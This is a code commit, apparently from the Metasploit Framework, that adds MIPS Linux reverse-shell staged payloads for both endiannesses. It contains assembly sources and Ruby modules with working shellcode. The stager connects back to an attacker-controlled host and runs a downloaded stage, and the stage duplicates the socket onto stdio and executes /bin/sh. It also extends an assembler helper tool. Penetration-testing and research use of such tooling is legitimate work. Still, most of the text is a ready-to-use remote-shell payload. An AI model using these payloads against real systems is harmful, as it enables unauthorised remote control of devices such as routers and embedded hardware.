Add support for MIPS reverse shell staged payloads

external/source/shellcode/linux/mips/stage_tcp_shell.s

@@ -0,0 +1,73 @@
+##
+#
+#        Name: stage_tcp_shell
+#        Type: Stage
+#   Qualities: Compatible with both mips little and big endian
+#   Platforms: Linux
+#     Authors: juan vazquez <juan.vazquez [at] metasploit.com>
+#     License: 
+#
+#        This file is part of the Metasploit Exploit Framework
+#        and is subject to the same licenses and copyrights as
+#        the rest of this package.
+#
+# Description:
+#
+#        This payload duplicates stdio, stdin and stderr to a file descriptor,
+#        stored on $s2, and executes /bin/sh.
+#
+#        Assemble and create a relocatable object with:
+#          as -o stage_tcp_shell.o stage_tcp_shell.s
+#
+#        Assemble, link and create an executable ELF with:
+#          gcc -o stage_tcp_shell stage_tcp_shell.s
+#
+#        The tool "tools/metasm_shell.rb" can be used to easily
+#        generate the string to place on:
+#          modules/payloads/stages/linux/mipsle/shell.rb
+#        and:
+#          modules/payloads/stages/linux/mipsbe/shell.rb
+##
+	.text
+	.align  2
+	.globl  main
+	.set    nomips16
+main:
+	.set    noreorder
+	.set    nomacro
+
+	# dup2(sockfd, 2)
+	# dup2(sockfd, 1)
+	# dup2(sockfd, 0)
+ 	# a0: oldfd (sockfd)
+ 	# a1: newfd (2, 1, 0)
+	li      $s1, -3
+	nor     $s1, $s1, $zero
+	add     $a0, $s2, $zero
+dup2_loop:
+	add     $a1, $s1, $zero # dup2_loop
+	li      $v0, 4063       # sys_dup2
+	syscall 0x40404
+	li      $s0, -1
+	addi    $s1, $s1, -1
+	bne     $s1, $s0, dup2_loop	# <dup2_loop>
+
+	# execve("/bin/sh", ["/bin/sh"], NULL)
+	# a0: filename "/bin/sh"
+	# a1: argv ["/bin/sh", NULL]
+	# a2: envp NULL
+	li      $t8, -1         # load t8 with -1
+getaddr:                    # getaddr trick from scut@team-teso.net
+	bltzal  $t8, getaddr    # branch with $ra stored if t8 < 0
+	slti    $t8, $zero, -1  # delay slot instr: $t8 = 0 (see below)
+	addi    $a0, $ra, 28    # $ra gets this address
+	sw      $a0, -8($sp)
+	sw      $zero, -4($sp)
+	addi    $a1, $sp, -8
+	slti    $a2, $zero,-1
+	li      $v0, 4011       # sys_execve
+	syscall 0x40404
+
+	.string "/bin/sh"
+	.set    macro
+	.set    reorder

external/source/shellcode/linux/mipsbe/stager_sock_reverse.s

@@ -0,0 +1,111 @@
+##
+# 
+#        Name: stager_sock_reverse
+#        Type: Stager
+#   Qualities: No Nulls out of the IP / Port data
+#   Platforms: Linux MIPS Big Endian
+#     Authors: juan vazquez <juan.vazquez [at] metasploit.com>
+#     License: 
+#
+#        This file is part of the Metasploit Exploit Framework
+#        and is subject to the same licenses and copyrights as
+#        the rest of this package.
+#
+# Description:
+#
+#        Implementation of a MIPS LE Linux reverse TCP stager.
+#
+#        File descriptor in $s2.
+#
+#        Assemble and create a relocatable object with:
+#          as -o stager_sock_reverse.o stager_sock_reverse.s
+#
+#        Assemble, link and create an executable ELF with:
+#          gcc -o stager_sock_reverse stager_sock_reverse.s
+#
+#        The tool "tools/metasm_shell.rb" can be used to easily
+#        generate the string to place on:
+#          modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb
+##
+	.text
+	.align  2
+	.globl  main
+	.set    nomips16
+main:
+	.set    noreorder
+	.set    nomacro
+
+	# socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
+	# a0: domain = PF_INET (2)
+	# a1: type = SOCK_STREAM (2)
+	# a2: protocol = IPPROTO_IP (0)
+	# v0: syscall = __NR_socket (4183)
+	li      $t7, -6
+	nor     $t7, $t7, $zero
+	addi    $a0, $t7, -3
+	addi    $a1, $t7, -3
+	slti    $a2, $zero, -1
+	li      $v0, 4183
+	syscall 0x40404
+	sw      $v0, -4($sp) # store the file descriptor for the socket on the stack
+	
+	# connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.172.1")}, 16)
+	# a0: sockfd
+	# a1: addr = AF_INET (2)
+	# a2: addrlen = 16
+	lw      $a0, -4($sp)
+	li      $t7, -3
+	nor     $t7, $t7, $zero
+	sw      $t7, -32($sp)
+	lui     $t6, 0x115c
+	sw      $t6, -28($sp)
+	lui     $t6, 0x7f00          # ip
+	ori     $t6, $t6, 0x0001     # ip
+	sw      $t6, -26($sp)
+	addiu   $a1, $sp, -30
+	li      $t4, -17
+	nor     $a2, $t4, $zero
+	li      $v0, 4170
+	syscall 0x40404
+	
+	# mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
+	# a0: addr = -1
+	# a1: lenght = 4096
+	# a2: prot = PROT_READ|PROT_WRITE|PROT_EXEC (7)
+	# a3: flags = MAP_PRIVATE|MAP_ANONYMOUS (2050)
+	# sp(16): fd = -1
+	# sp(20): offset = 0
+	li      $a0, -1
+	li      $a1, 4097
+	addi    $a1, $a1, -1
+	li      $t1, -8
+	nor     $t1, $t1, $0
+	add     $a2, $t1, $0
+	li      $a3, 2050
+	li      $t3, -22
+	nor     $t3, $t3, $zero
+	add     $t3, $sp, $t3
+	sw      $0, -1($t3)         # Doesn't use $sp directly to avoid nulls
+	sw      $2, -5($t3)         # Doesn't use $sp directly to avoid nulls
+	li      $v0, 4090
+	syscall 0x40404
+	sw      $v0, -8($sp)        # Stores the mmap'ed address on the stack
+
+	# read(sockfd, addr, 4096)
+	# a0: sockfd
+	# a1: addr
+	# a2: len = 4096
+	lw      $a0, -4($sp)
+	lw      $a1, -8($sp)
+	li      $a2, 4097
+	addi    $a2, $a2, -1
+	li      $v0, 4003
+	syscall 0x40404
+	
+	# jmp to the stage
+	lw      $s1, -8($sp)
+	lw      $s2, -4($sp)
+	jalr    $s1
+
+	.set    macro
+	.set    reorder

external/source/shellcode/linux/mipsle/stager_sock_reverse.s

@@ -0,0 +1,111 @@
+##
+# 
+#        Name: stager_sock_reverse
+#        Type: Stager
+#   Qualities: No Nulls out of the IP / Port data
+#   Platforms: Linux MIPS Little Endian
+#     Authors: juan vazquez <juan.vazquez [at] metasploit.com>
+#     License: 
+#
+#        This file is part of the Metasploit Exploit Framework
+#        and is subject to the same licenses and copyrights as
+#        the rest of this package.
+#
+# Description:
+#
+#        Implementation of a MIPS LE Linux reverse TCP stager.
+#
+#        File descriptor in $s2.
+#
+#        Assemble and create a relocatable object with:
+#          as -o stager_sock_reverse.o stager_sock_reverse.s
+#
+#        Assemble, link and create an executable ELF with:
+#          gcc -o stager_sock_reverse stager_sock_reverse.s
+#
+#        The tool "tools/metasm_shell.rb" can be used to easily
+#        generate the string to place on:
+#          modules/payloads/stagers/linux/mipsle/reverse_tcp.rb
+##
+	.text
+	.align  2
+	.globl  main
+	.set    nomips16
+main:
+	.set    noreorder
+	.set    nomacro
+
+	# socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
+	# a0: domain = PF_INET (2)
+	# a1: type = SOCK_STREAM (2)
+	# a2: protocol = IPPROTO_IP (0)
+	# v0: syscall = __NR_socket (4183)
+	li      $t7, -6
+	nor     $t7, $t7, $zero
+	addi    $a0, $t7, -3
+	addi    $a1, $t7, -3
+	slti    $a2, $zero, -1
+	li      $v0, 4183
+	syscall 0x40404
+	sw      $v0, -4($sp) # store the file descriptor for the socket on the stack
+	
+	# connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.172.1")}, 16)
+	# a0: sockfd
+	# a1: addr = AF_INET (2)
+	# a2: addrlen = 16
+	lw      $a0, -4($sp)
+	li      $t7, -3
+	nor     $t7, $t7, $zero
+	sw      $t7, -30($sp)
+	ori     $t6, $zero, 0x5c11  # port
+	sw      $t6, -28($sp)
+	lui     $t6, 0x100          # ip
+	ori     $t6, $t6, 0x7f      # ip
+	sw      $t6, -26($sp)
+	addiu   $a1, $sp, -30
+	li      $t4, -17
+	nor     $a2, $t4, $zero
+	li      $v0, 4170
+	syscall 0x40404
+	
+	# mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
+	# a0: addr = -1
+	# a1: lenght = 4096
+	# a2: prot = PROT_READ|PROT_WRITE|PROT_EXEC (7)
+	# a3: flags = MAP_PRIVATE|MAP_ANONYMOUS (2050)
+	# sp(16): fd = -1
+	# sp(20): offset = 0
+	li      $a0, -1
+	li      $a1, 4097
+	addi    $a1, $a1, -1
+	li      $t1, -8
+	nor     $t1, $t1, $0
+	add     $a2, $t1, $0
+	li      $a3, 2050
+	li      $t3, -22
+	nor     $t3, $t3, $zero
+	add     $t3, $sp, $t3
+	sw      $0, -1($t3)         # Doesn't use $sp directly to avoid nulls
+	sw      $2, -5($t3)         # Doesn't use $sp directly to avoid nulls
+	li      $v0, 4090
+	syscall 0x40404
+	sw      $v0, -8($sp)        # Stores the mmap'ed address on the stack
+
+	# read(sockfd, addr, 4096)
+	# a0: sockfd
+	# a1: addr
+	# a2: len = 4096
+	lw      $a0, -4($sp)
+	lw      $a1, -8($sp)
+	li      $a2, 4097
+	addi    $a2, $a2, -1
+	li      $v0, 4003
+	syscall 0x40404
+	
+	# jmp to the stage
+	lw      $s1, -8($sp)
+	lw      $s2, -4($sp)
+	jalr    $s1
+
+	.set    macro
+	.set    reorder

modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb

@@ -0,0 +1,54 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+
+require 'msf/core'
+require 'msf/core/handler/reverse_tcp'
+
+
+module Metasploit3
+
+  include Msf::Payload::Stager
+  include Msf::Payload::Linux
+
+  def initialize(info = {})
+    super(merge_info(info,
+      'Name'          => 'Reverse TCP Stager',
+      'Description'   => 'Connect back to the attacker',
+      'Author'        =>
+        [
+          'juan vazquez'
+        ],
+      'License'       => MSF_LICENSE,
+      'Platform'      => 'linux',
+      'Arch'          => ARCH_MIPSBE,
+      'Handler'       => Msf::Handler::ReverseTcp,
+      'Stager'        =>
+        {
+          'Offsets' =>
+            {
+              'LHOST' => [ [58, 62], 'ADDR16MSB' ],
+              'LPORT' => [ 50, 'n'    ],
+            },
+          'Payload' =>
+            "\x24\x0f\xff\xfa\x01\xe0\x78\x27\x21\xe4\xff\xfd\x21\xe5" +
+            "\xff\xfd\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c" +
+            "\xaf\xa2\xff\xfc\x8f\xa4\xff\xfc\x24\x0f\xff\xfd\x01\xe0" +
+            "\x78\x27\xaf\xaf\xff\xe0\x3c\x0e\x11\x5c\xaf\xae\xff\xe4" +
+            "\x3c\x0e\x7f\x00\x35\xce\x00\x01\xaf\xae\xff\xe6\x27\xa5" +
+            "\xff\xe2\x24\x0c\xff\xef\x01\x80\x30\x27\x24\x02\x10\x4a" +
+            "\x01\x01\x01\x0c\x24\x04\xff\xff\x24\x05\x10\x01\x20\xa5" +
+            "\xff\xff\x24\x09\xff\xf8\x01\x20\x48\x27\x01\x20\x30\x20" +
+            "\x24\x07\x08\x02\x24\x0b\xff\xea\x01\x60\x58\x27\x03\xab" +
+            "\x58\x20\xad\x60\xff\xff\xad\x62\xff\xfb\x24\x02\x0f\xfa" +
+            "\x01\x01\x01\x0c\xaf\xa2\xff\xf8\x8f\xa4\xff\xfc\x8f\xa5" +
+            "\xff\xf8\x24\x06\x10\x01\x20\xc6\xff\xff\x24\x02\x0f\xa3" +
+            "\x01\x01\x01\x0c\x8f\xb1\xff\xf8\x8f\xb2\xff\xfc\x02\x20" +
+            "\xf8\x09"
+        }
+      ))
+  end
+
+end

modules/payloads/stagers/linux/mipsle/reverse_tcp.rb

@@ -0,0 +1,54 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+
+require 'msf/core'
+require 'msf/core/handler/reverse_tcp'
+
+
+module Metasploit3
+
+  include Msf::Payload::Stager
+  include Msf::Payload::Linux
+
+  def initialize(info = {})
+    super(merge_info(info,
+      'Name'          => 'Reverse TCP Stager',
+      'Description'   => 'Connect back to the attacker',
+      'Author'        =>
+        [
+          'juan vazquez'
+        ],
+      'License'       => MSF_LICENSE,
+      'Platform'      => 'linux',
+      'Arch'          => ARCH_MIPSLE,
+      'Handler'       => Msf::Handler::ReverseTcp,
+      'Stager'        =>
+        {
+          'Offsets' =>
+            {
+              'LHOST' => [ [60, 56], 'ADDR16MSB' ],
+              'LPORT' => [ 48, 'n'    ],
+            },
+          'Payload' =>
+            "\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd\xff" +
+            "\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01\x01\x01" +
+            "\xfc\xff\xa2\xaf\xfc\xff\xa4\x8f\xfd\xff\x0f\x24\x27\x78" +
+            "\xe0\x01\xe2\xff\xaf\xaf\x11\x5c\x0e\x34\xe4\xff\xae\xaf" +
+            "\x00\x01\x0e\x3c\x7f\x00\xce\x35\xe6\xff\xae\xaf\xe2\xff" +
+            "\xa5\x27\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24" +
+            "\x0c\x01\x01\x01\xff\xff\x04\x24\x01\x10\x05\x24\xff\xff" +
+            "\xa5\x20\xf8\xff\x09\x24\x27\x48\x20\x01\x20\x30\x20\x01" +
+            "\x02\x08\x07\x24\xea\xff\x0b\x24\x27\x58\x60\x01\x20\x58" +
+            "\xab\x03\xff\xff\x60\xad\xfb\xff\x62\xad\xfa\x0f\x02\x24" +
+            "\x0c\x01\x01\x01\xf8\xff\xa2\xaf\xfc\xff\xa4\x8f\xf8\xff" +
+            "\xa5\x8f\x01\x10\x06\x24\xff\xff\xc6\x20\xa3\x0f\x02\x24" +
+            "\x0c\x01\x01\x01\xf8\xff\xb1\x8f\xfc\xff\xb2\x8f\x09\xf8" +
+            "\x20\x02"
+        }
+      ))
+  end
+
+end

modules/payloads/stages/linux/mipsbe/shell.rb

@@ -0,0 +1,36 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'msf/base/sessions/command_shell'
+require 'msf/base/sessions/command_shell_options'
+
+module Metasploit3
+  include Msf::Payload::Linux
+  include Msf::Sessions::CommandShellOptions
+
+  def initialize(info = {})
+    super(merge_info(info,
+      'Name'          => 'Linux Command Shell',
+      'Description'   => 'Spawn a command shell (staged)',
+      'Author'        => 'juan vazquez',
+      'License'       => MSF_LICENSE,
+      'Platform'      => 'linux',
+      'Arch'          => ARCH_MIPSBE,
+      'Session'       => Msf::Sessions::CommandShellUnix,
+      'Stage'         =>
+        {
+          'Payload' =>
+            "\x24\x11\xff\xfd\x02\x20\x88\x27\x02\x40\x20\x20\x02\x20" +
+            "\x28\x20\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x10\xff\xff" +
+            "\x22\x31\xff\xff\x16\x11\xff\xfa\x24\x18\xff\xff\x07\x10" +
+            "\xff\xff\x28\x18\xff\xff\x23\xe4\x00\x1c\xaf\xa4\xff\xf8" +
+            "\xaf\xa0\xff\xfc\x23\xa5\xff\xf8\x28\x06\xff\xff\x24\x02" +
+            "\x0f\xab\x01\x01\x01\x0c\x2f\x62\x69\x6e\x2f\x73\x68\x00"
+        }
+      ))
+  end
+
+end

modules/payloads/stages/linux/mipsle/shell.rb

@@ -0,0 +1,36 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'msf/base/sessions/command_shell'
+require 'msf/base/sessions/command_shell_options'
+
+module Metasploit3
+  include Msf::Payload::Linux
+  include Msf::Sessions::CommandShellOptions
+
+  def initialize(info = {})
+    super(merge_info(info,
+      'Name'          => 'Linux Command Shell',
+      'Description'   => 'Spawn a command shell (staged)',
+      'Author'        => 'juan vazquez',
+      'License'       => MSF_LICENSE,
+      'Platform'      => 'linux',
+      'Arch'          => ARCH_MIPSLE,
+      'Session'       => Msf::Sessions::CommandShellUnix,
+      'Stage'         =>
+        {
+          'Payload' =>
+            "\xfd\xff\x11\x24\x27\x88\x20\x02\x20\x20\x40\x02\x20\x28" +
+            "\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff\xff\x10\x24" +
+            "\xff\xff\x31\x22\xfa\xff\x11\x16\xff\xff\x18\x24\xff\xff" +
+            "\x10\x07\xff\xff\x18\x28\x1c\x00\xe4\x23\xf8\xff\xa4\xaf" +
+            "\xfc\xff\xa0\xaf\xf8\xff\xa5\x23\xff\xff\x06\x28\xab\x0f" +
+            "\x02\x24\x0c\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x00"
+        }
+      ))
+  end
+
+end

tools/metasm_shell.rb

@@ -3,7 +3,8 @@
 # $Id$
 #
 # This tool provides an easy way to see what opcodes are associated with
-# certain x86 instructions by making use of Metasm!
+# certain x86 instructions by making use of Metasm! Also allows to get
+# friendly output from a GAS assembler source code file.
 #
 #
 # $Revision$
@@ -32,6 +33,9 @@ require 'metasm'
 #PowerPC, seems broken for now in metasm
 #@Arch = ['Ia32','MIPS','PowerPC','ARM','X86_64']
 @Arch = ['Ia32','MIPS','ARM','X86_64']
+@Endian = ['little','big']
+@architecture = ""
+@endianess = ""
 
 def usage
   $stderr.puts("\nUsage: #{$0} <options>\n" + $args.usage)
@@ -40,7 +44,8 @@ end
     
 $args = Rex::Parser::Arguments.new(
   "-a" => [ true, "The architecture to encode as (#{@Arch.sort.collect{|a| a + ', ' }.join.gsub(/\, $/,'')})"],
-  "-h" => [ false, "Display this help information"	])
+  "-e" => [ true, "The endianess to encode as (#{@Endian.sort.collect{|a| a + ', ' }.join.gsub(/\, $/,'')})" ],
+  "-h" => [ false, "Display this help information" ])
 
 $args.parse(ARGV) { |opt, idx, val|
   case opt
@@ -48,12 +53,20 @@ $args.parse(ARGV) { |opt, idx, val|
     found = nil
     @Arch.each { |a|
       if val.downcase == a.downcase
-        String.class_eval("@@cpu = Metasm::#{a}.new")
+        @architecture = a
+        found = true
+      end
+    }
+    usage if not found
+  when "-e"
+    found = nil
+    @Endian.each { |e|
+      if val.downcase == e.downcase
+        @endianess = e
         found = true
       end
     }
     usage if not found
-
   when "-h"
     usage
   else
@@ -61,6 +74,14 @@ $args.parse(ARGV) { |opt, idx, val|
   end
 }
 
+unless @architecture.empty?
+  if @endianess.empty?
+    String.class_eval("@@cpu = Metasm::#{@architecture}.new")
+  else
+    String.class_eval("@@cpu = Metasm::#{@architecture}.new(:#{@endianess})")
+  end
+end
+
 class String
   @@cpu ||= Metasm::Ia32.new
   class << self
@@ -98,23 +119,61 @@ class String
   def decode(base_addr=0, eip=base_addr)
     decode_blocks(base_addr, eip).to_s
   end
+
+  def disassemble(str, eip=0)
+    Metasm::Shellcode.disassemble(@@cpu, str, eip)
+  end
+
 end
 
+def parse_gas_file(filename)
+  unless ::File.exist?(filename)
+    puts "File #{filename} not found"
+    return
+  end
+  shellcode = ""
+  puts "Reading file #{filename}"
+  ::File.open(filename, "rb") do |f|
+    f.each_line do |l|
+      l.gsub!(/#.*$/, "")    # Delete comments
+      l.gsub!(/@.*$/, "")    # Delete comments
+      l.gsub!(/\..*$/, "")   # Delete directives
+      l.gsub!(/(\r|\n)/, '') # Delete newlines... just in case...
+      next if l.strip.empty?
+      shellcode << "#{l}\n"
+    end
+  end
 
+  begin
+    encoded = shellcode.encode
+    puts Rex::Text.to_ruby(encoded)
+    puts encoded.disassemble(shellcode.encode)
+  rescue Metasm::Exception => e
+    puts "Error: #{e.class} #{e.message}"
+  end
+end
 
 # Start a pseudo shell and dispatch lines to be assembled and then
 # disassembled.
 shell = Rex::Ui::Text::PseudoShell.new("%bldmetasm%clr")
 shell.init_ui(Rex::Ui::Text::Input::Stdio.new, Rex::Ui::Text::Output::Stdio.new)
 
-puts 'type "exit" or "quit" to quit', 'use ";" or "\\n" for newline', ''
+puts [
+  'type "exit" or "quit" to quit',
+  'use ";" or "\\n" for newline',
+  'type "file <file>" to parse a GAS assembler source file',
+  '']
 
 shell.run { |l|
   l.gsub!(/(\r|\n)/, '')
-  l.gsub!(/\\n/, "\n")	
+  l.gsub!(/\\n/, "\n")
   l.gsub!(';', "\n")
 
   break if %w[quit exit].include? l.chomp
+  if l.chomp.index(/^file (.*)/)
+    parse_gas_file($1)
+    next
+  end
   next if l.strip.empty?
 
   begin